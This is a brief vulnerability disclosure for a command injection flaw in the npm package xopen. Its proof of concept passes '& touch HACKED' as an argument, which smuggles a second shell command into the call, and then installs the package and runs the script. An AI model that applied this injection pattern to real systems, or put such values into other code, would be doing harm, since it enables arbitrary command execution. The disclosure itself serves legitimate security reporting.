vulnerability command injection
severity 7.3
language javascript
registry npm


Command Injection in xopen

Proof of Concept

  1. Create the following PoC file:
// poc.js
var xopen =require("xopen");
xopen("& touch HACKED");
  1. Execute the following commands in terminal:
npm i xopen # Install affected module
node poc.js #  Run the PoC
  1. Check the Output using ls command before and after the execution.